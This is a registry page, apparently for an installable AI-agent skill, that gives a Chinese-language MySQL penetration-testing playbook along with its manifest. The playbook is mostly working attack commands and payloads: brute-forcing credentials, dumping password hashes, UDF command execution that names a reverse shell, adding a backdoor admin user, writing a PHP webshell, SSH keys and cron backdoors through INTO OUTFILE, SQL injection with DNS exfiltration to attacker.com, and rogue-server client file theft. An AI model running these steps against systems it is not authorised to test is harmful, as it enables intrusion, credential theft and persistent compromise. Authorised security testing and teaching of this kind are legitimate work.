Skip to content
Skillv1.0.0

mysql-pentesting

MySQL 数据库服务(3306 端口)渗透测试方法论。涵盖 MySQL 服务发现与版本识别、默认凭据与匿名访问测试、数据库枚举、权限提升(UDF/文件读写/命令执行)、MySQL 注入利用、已知漏洞利用。 当 Agent 扫描发现 3306 端口开放、需要测试 MySQL 认证强度、枚举数据库内容、或通过 MySQL 实现命令执行时,触发此 Skill。

by hanmujun(0) 0 installs
Free
Sign in to install

Free account. Installing gives you the manifest plus copy-paste snippets.

See reviews

About

Imported from hanmujun/hanmujun-agent-public (skill-library/mysql-pentesting/SKILL.md). Install upstream with npx skills add hanmujun/hanmujun-agent-public --skill mysql-pentesting. Copyright stays with the author.

MySQL 渗透测试方法论 (3306)

深入参考


整体决策树

发现 3306 端口开放
├─ Phase 1: 服务发现与版本识别
│   ├─ 确定 MySQL/MariaDB 版本
│   ├─ 识别操作系统与运行用户
│   └─ 检测 secure_file_priv / local_infile 配置
├─ Phase 2: 认证测试
│   ├─ 匿名/空密码登录
│   │   ├─ 成功 -> 直接进入 Phase 3
│   │   └─ 失败 -> 默认凭据 -> 暴力破解
│   ├─ 默认凭据 (root:空, root:root, root:toor 等)
│   └─ CVE-2012-2122 认证绕过 (MariaDB/MySQL 5.1.x)
├─ Phase 3: 数据库枚举
│   ├─ 库/表/列枚举 (information_schema)
│   ├─ 权限枚举 (SHOW GRANTS / mysql.user)
│   │   ├─ FILE 权限 -> 进入 Phase 4 文件读写
│   │   ├─ SUPER 权限 -> 进入 Phase 4 UDF
│   │   └─ 普通权限 -> 提取敏感数据,尝试密码复用
│   └─ 用户哈希提取 (mysql.user / mysql_hashdump)
├─ Phase 4: 权限提升
│   ├─ UDF 提权 (lib_mysqludf_sys)
│   │   ├─ Linux: .so 加载 -> sys_exec()
│   │   └─ Windows: .dll 加载 -> sys_exec() / NTFS ADS 目录创建
│   ├─ 文件读写
│   │   ├─ LOAD_FILE() 读取系统文件
│   │   ├─ INTO OUTFILE 写入 Webshell / .pth payload
│   │   └─ LOAD DATA LOCAL INFILE (客户端文件读取)
│   └─ MySQL 客户端 Shell (\! sh)
├─ Phase 5: MySQL 注入利用
│   ├─ UNION 注入 -> 信息泄露 / 文件读写
│   ├─ 带外注入 -> LOAD_FILE() + DNS/HTTP 外带
│   └─ Rogue MySQL Server -> 客户端文件窃取
└─ Phase 6: 已知漏洞
    ├─ CVE-2012-2122 — 认证绕过 (memcmp timing)
    ├─ CVE-2023-21971 — JDBC propertiesTransform RCE
    └─ Rogue/Fake MySQL Server 攻击 JDBC 客户端

Phase 1: 服务发现与版本识别

1.1 端口扫描与版本探测

# Nmap 服务版本探测 + MySQL 专项脚本
nmap -sV -p 3306 --script mysql-info,mysql-enum <IP>

# Nmap 全量 MySQL 脚本扫描
nmap -sV -p 3306 --script "mysql-*" <IP>

1.2 Metasploit 版本探测

msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS <IP>; run; exit'

1.3 运行用户与关键配置

识别 MySQL 运行身份
├─ 本地 Shell 已获取
│   ├─ cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep "user"
│   ├─ systemctl status mysql | grep "user"
│   └─ ps aux | grep mysql
└─ 仅 MySQL 连接
    ├─ SELECT @@version, @@datadir, @@basedir;
    ├─ SHOW VARIABLES LIKE 'secure_file_priv';
    ├─ SHOW VARIABLES LIKE 'local_infile';
    └─ SHOW VARIABLES LIKE 'plugin_dir';

关键判断

  • secure_file_priv 为空 -> 可任意路径读写文件
  • local_infile 启用 -> LOAD DATA LOCAL 可用,也暴露 Rogue Server 攻击面
  • MySQL 以 root 运行 -> UDF 提权后直接获取系统 root

Phase 2: 认证测试

2.1 认证决策树

尝试连接 MySQL
├─ 1) 匿名/空密码
│   ├─ mysql -h <IP> -u root
│   ├─ mysql -h <IP> -u root@localhost
│   └─ Nmap: nmap --script mysql-empty-password -p 3306 <IP>
├─ 2) 默认凭据
│   ├─ root:(空) / root:root / root:toor / root:mysql
│   ├─ admin:admin / test:test / guest:guest
│   └─ debian-sys-maint:(从 /etc/mysql/debian.cnf 获取)
├─ 3) CVE-2012-2122 认证绕过
│   ├─ MariaDB / MySQL 5.1.x 受影响
│   ├─ 原理: memcmp 返回值截断,约 1/256 概率绕过
│   ├─ Nmap: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP>
│   └─ Metasploit: auxiliary/scanner/mysql/mysql_authbypass_hashdump
├─ 4) 暴力破解
│   ├─ hydra -t 4 -l root -P wordlist.txt <IP> mysql
│   └─ Metasploit: auxiliary/scanner/mysql/mysql_login
└─ 5) 本地提权路径
    ├─ /etc/mysql/debian.cnf 明文密码
    ├─ ~/.my.cnf / ~/.mylogin.cnf 凭据文件
    └─ auth_socket / unix_socket 插件 -> 本地 socket 无密码登录

2.2 本地 Socket 认证检测

当已获取目标 Shell 时,本地 socket 是最快的突破口:

# 检测 socket 文件
ls -l /run/mysqld/mysqld.sock /var/run/mysqld/mysqld.sock 2>/dev/null

# 检测凭据文件
ls -l /etc/mysql/debian.cnf ~/.my.cnf ~/.mylogin.cnf 2>/dev/null

# auth_socket 插件 -> OS 用户直接映射为 DB 用户
mysql -S /run/mysqld/mysqld.sock -u root -e \
  "SELECT user,host,plugin FROM mysql.user;" 2>/dev/null

Phase 3: 数据库枚举

3.1 基础枚举

# 连接后执行
show databases;
use <database>;
show tables;
describe <table_name>;
select version();
select user();
select database();

3.2 权限枚举决策树

检查当前权限
├─ SHOW GRANTS FOR CURRENT_USER();
├─ SELECT * FROM mysql.user WHERE user=CURRENT_USER();
├─ 检查 FILE 权限
│   ├─ SELECT user,file_priv FROM mysql.user WHERE file_priv='Y';
│   ├─ 有 -> 标记进入 Phase 4 文件读写
│   └─ 无 -> 尝试其他提权路径
├─ 检查 SUPER 权限
│   ├─ SELECT user,Super_priv FROM mysql.user WHERE Super_priv='Y';
│   ├─ 有 -> 标记进入 Phase 4 UDF
│   └─ 无 -> 检查 CREATE/INSERT 等组合权限
└─ 自定义函数检查
    ├─ SELECT routine_name FROM information_schema.routines WHERE routine_type='FUNCTION' AND routine_schema!='sys';
    └─ 存在非系统函数 -> 可能已有 UDF 后门

3.3 用户哈希提取

# 从 MySQL 内部提取
SELECT user,authentication_string FROM mysql.user;

# Metasploit 自动化
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'

# 从本地文件提取 (已获 Shell)
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

3.4 Metasploit 自动枚举

msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'

Phase 4: 权限提升

4.1 UDF 提权决策树

MySQL 以高权限运行 + 拥有 FILE/SUPER 权限
├─ 获取 plugin_dir 路径
│   └─ SHOW VARIABLES LIKE '%plugin%';
├─ 获取 UDF 库文件
│   ├─ sqlmap: locate "*lib_mysqludf_sys*"
│   ├─ Metasploit: locate "*lib_mysqludf_sys*"
│   └─ 手动编译 raptor_udf2.c
├─ Linux (.so)
│   ├─ 通过 table blob 中转写入 plugin_dir
│   ├─ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so';
│   └─ SELECT sys_exec('reverse shell command');
├─ Windows (.dll)
│   ├─ 同上,使用 .dll 文件
│   ├─ plugin_dir 不存在? -> NTFS ADS 创建目录
│   │   └─ SELECT 1 INTO OUTFILE 'C:\\path\\plugin::$INDEX_ALLOCATION';
│   └─ SELECT sys_exec("net user attacker P@ss /add");
└─ 利用后清理
    └─ DROP FUNCTION sys_exec;

-> 读 references/mysql-techniques.md 获取完整 UDF 步骤

4.2 文件读写决策树

拥有 FILE 权限 + secure_file_priv 不限制
├─ 读取文件
│   ├─ SELECT LOAD_FILE('/etc/passwd');
│   ├─ SELECT LOAD_FILE('/etc/shadow');  # 需 mysql 用户有读权限
│   └─ SELECT LOAD_FILE('/var/lib/mysql-files/key.txt');
├─ 写入文件
│   ├─ Webshell
│   │   └─ SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/shell.php';
│   ├─ Python .pth RCE
│   │   ├─ 写入 .pth 到 site-packages 目录
│   │   ├─ .pth 中 import 语句自动执行
│   │   └─ 触发: 请求任意 Python CGI 脚本
│   ├─ SSH 公钥写入
│   │   └─ SELECT "<pubkey>" INTO OUTFILE '/root/.ssh/authorized_keys';
│   └─ Cron Job 写入
│       └─ SELECT "* * * * * root reverse_shell" INTO OUTFILE '/etc/cron.d/backdoor';
├─ 二进制数据写入
│   ├─ CONVERT(unhex("..."), BINARY)
│   └─ CONVERT(from_base64("..."), BINARY)
└─ 限制
    ├─ INTO OUTFILE 不能覆盖已有文件
    └─ 路径相对于 MySQL CWD,可用 ../../ 前缀调整

4.3 LOAD DATA LOCAL INFILE (客户端文件读取)

Rogue MySQL Server 攻击
├─ 原理: LOAD DATA LOCAL 时服务端可指定客户端读取任意文件
├─ 前提: 客户端 local_infile=ON (许多客户端默认开启)
├─ 工具
│   ├─ Rogue-MySql-Server (Python)
│   └─ mysql-fake-server (Java)
├─ 攻击流程
│   ├─ 启动 Rogue Server 监听 3306
│   ├─ 诱使目标连接 (DNS 劫持 / 配置篡改)
│   └─ 自动读取客户端本地文件 (/etc/passwd 等)
└─ JDBC 扩展
    ├─ allowLoadLocalInfile=true -> 文件读取
    └─ autoDeserialize=true -> 反序列化 RCE

4.4 MySQL 客户端 Shell

# 已连接到 MySQL 后,直接获取当前用户 Shell
\! sh
\! bash
\! id

Phase 5: MySQL 注入利用

5.1 注入决策树

发现 MySQL 注入点
├─ UNION 注入
│   ├─ 确定列数: ORDER BY 递增 / UNION SELECT NULL,NULL,...
│   ├─ 信息收集: version(), user(), database()
│   ├─ 数据提取
│   │   ├─ UNION SELECT table_name FROM information_schema.tables
│   │   └─ UNION SELECT column_name FROM information_schema.columns WHERE table_name='...'
│   └─ 文件操作 (需 FILE 权限)
│       ├─ UNION SELECT LOAD_FILE('/etc/passwd')
│       └─ UNION SELECT ... INTO OUTFILE '/path/shell.php'
├─ 报错注入
│   ├─ extractvalue(1, concat(0x7e, (SELECT ...)))
│   └─ updatexml(1, concat(0x7e, (SELECT ...)), 1)
├─ 盲注
│   ├─ 布尔盲注: AND (SELECT ...) = 1
│   └─ 时间盲注: AND IF(..., SLEEP(5), 0)
├─ 带外注入 (OOB)
│   └─ SELECT LOAD_FILE(concat('\\\\', (SELECT ...), '.attacker.com\\a'));
└─ 空格绕过
    ├─ /**/ 注释替换
    ├─ /*!*/ 版本注释
    └─ %09 / %0a / %0d 替代空格

Phase 6: 已知漏洞

6.1 漏洞检测决策树

MySQL 版本已知
├─ MySQL 5.1.x / MariaDB 特定版本
│   └─ CVE-2012-2122 认证绕过
│       ├─ 检测: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP>
│       └─ 利用: for i in $(seq 1 1000); do mysql -u root --password=bad -h <IP> 2>/dev/null; done
├─ MySQL Connector/J <= 8.0.32
│   └─ CVE-2023-21971 (propertiesTransform RCE)
│       ├─ 前提: 可控制 JDBC 连接字符串
│       └─ 利用: jdbc:mysql://<IP>:3306/test?propertiesTransform=com.evil.Evil
├─ 客户端连接 JDBC
│   ├─ allowLoadLocalInfile=true -> Rogue Server 文件读取
│   └─ autoDeserialize=true -> Rogue Server 反序列化 RCE
├─ Windows 目标
│   └─ Metasploit: exploit/windows/mysql/mysql_start_up (凭据执行)
└─ 通用检测
    └─ nmap -sV -p 3306 --script mysql-vuln* <IP>

6.2 哈希破解

提取到 MySQL 哈希
├─ mysql_native_password (MySQL 5.x)
│   ├─ Hashcat: hashcat -m 300 hashes.txt wordlist.txt
│   └─ John: john --format=mysql-sha1 hashes.txt
├─ caching_sha2_password (MySQL 8.x)
│   ├─ Hashcat: hashcat -m 21100 hashes.txt wordlist.txt
│   └─ John: john --format=mysql-sha2 hashes.txt
└─ 旧版 MySQL 3.x/4.x
    └─ Hashcat: hashcat -m 200 hashes.txt wordlist.txt

后渗透 — 本地审计检查清单

获取 Shell 后对 MySQL 配置的快速审计:

检查项 风险说明
secure_file_priv = "" 允许任意路径文件读写
local_infile = ON LOAD DATA LOCAL 可用,Rogue Server 攻击面
MySQL 以 root 运行 UDF 提权直接获取系统 root
/etc/mysql/debian.cnf 可读 含 debian-sys-maint 明文密码
~/.my.cnf / ~/.mylogin.cnf 存在 含用户凭据
auth_socket 插件启用 本地 socket 无密码登录
skip-networking 未设置 远程连接可用

关键配置文件路径

Linux
├─ /etc/my.cnf
├─ /etc/mysql/my.cnf
├─ /var/lib/mysql/my.cnf
├─ ~/.my.cnf
├─ ~/.mysql_history          # 命令历史
└─ /var/lib/mysql/mysql/user.MYD  # 用户哈希

Windows
├─ C:\Windows\my.ini
├─ C:\MySQL\data\
└─ <InstDir>\mysql\data\

-> 读 references/mysql-techniques.md 获取完整技术细节与命令参考

Use it

Copy one of these into your project. Installing also returns the manifest and these snippets.

yaml
targets:
  - https://api.opensmartroute.ai/api/v1/registry/hanmujun-hanmujun-agent-public-mysql-pentesting/manifest   # or paste the manifest below

Manifest

An Open Capability Manifest: the router reads it to know what this does, what it costs and when to pick it.

hanmujun-hanmujun-agent-public-mysql-pentesting.ocm.jsonjson
{
  "ocm": "1",
  "id": "hanmujun-hanmujun-agent-public-mysql-pentesting",
  "kind": "skill",
  "name": "mysql-pentesting",
  "description": "MySQL 数据库服务(3306 端口)渗透测试方法论。涵盖 MySQL 服务发现与版本识别、默认凭据与匿名访问测试、数据库枚举、权限提升(UDF/文件读写/命令执行)、MySQL 注入利用、已知漏洞利用。 当 Agent 扫描发现 3306 端口开放、需要测试 MySQL 认证强度、枚举数据库内容、或通过 MySQL 实现命令执行时,触发此 Skill。",
  "publisher": "hanmujun",
  "version": "1.0.0",
  "capabilities": {
    "domains": [
      "general"
    ],
    "tags": [
      "skill-md",
      "mysql",
      "3306",
      "udf",
      "sql",
      "github"
    ],
    "languages": [
      "en"
    ]
  },
  "quality_prior": 0.6,
  "examples": [
    "MySQL 数据库服务(3306 端口)渗透测试方法论。涵盖 MySQL 服务发现与版本识别、默认凭据与匿名访问测试、数据库枚举、权限提升(UDF/文件读写/命令执行)、MySQL 注入利用、已知漏洞利用。 当 Agent 扫描发现 3306 端口开放、需要测试 MySQL 认证强度、枚举数据库内容、或通过 MySQL 实现命令执行时,触发此 Skill。"
  ],
  "primary": false,
  "metadata": {
    "source": {
      "provider": "github",
      "repository": "https://github.com/hanmujun/hanmujun-agent-public",
      "path": "skill-library/mysql-pentesting/SKILL.md",
      "ref": "19a587892e42bcb8c913834c54be704348553194",
      "url": "https://github.com/hanmujun/hanmujun-agent-public/blob/19a587892e42bcb8c913834c54be704348553194/skill-library/mysql-pentesting/SKILL.md",
      "key": "hanmujun/hanmujun-agent-public/skill-library/mysql-pentesting/SKILL.md"
    }
  },
  "instructions": "# MySQL 渗透测试方法论 (3306)\n\n## 深入参考\n\n- UDF 提权、文件读写、Rogue Server、JDBC 利用、哈希破解完整命令 -> 读 [references/mysql-techniques.md](references/mysql-techniques.md)\n\n---\n\n## 整体决策树\n\n```\n发现 3306 端口开放\n├─ Phase 1: 服务发现与版本识别\n│   ├─ 确定 MySQL/MariaDB 版本\n│   ├─ 识别操作系统与运行用户\n│   └─ 检测 secure_file_priv / local_infile 配置\n├─ Phase 2: 认证测试\n│   ├─ 匿名/空密码登录\n│   │   ├─ 成功 -> 直接进入 Phase 3\n│   │   └─ 失败 -> 默认凭据 -> 暴力破解\n│   ├─ 默认凭据 (root:空, root:root, root:toor 等)\n│   └─ CVE-2012-2122 认证绕过 (MariaDB/MySQL 5.1.x)\n├─ Phase 3: 数据库枚举\n│   ├─ 库/表/列枚举 (information_schema)\n│   ├─ 权限枚举 (SHOW GRANTS / mysql.user)\n│   │   ├─ FILE 权限 -> 进入 Pha",
  "cost": {
    "context_tokens": 2386
  }
}

Fetch it by URL: GET /api/v1/registry/hanmujun-hanmujun-agent-public-mysql-pentesting/manifest?version=1.0.0

Reviews

Star ratings from people who tried it. One review per account; edit yours any time.

No reviews yet. Install it, try it, and be the first to rate it.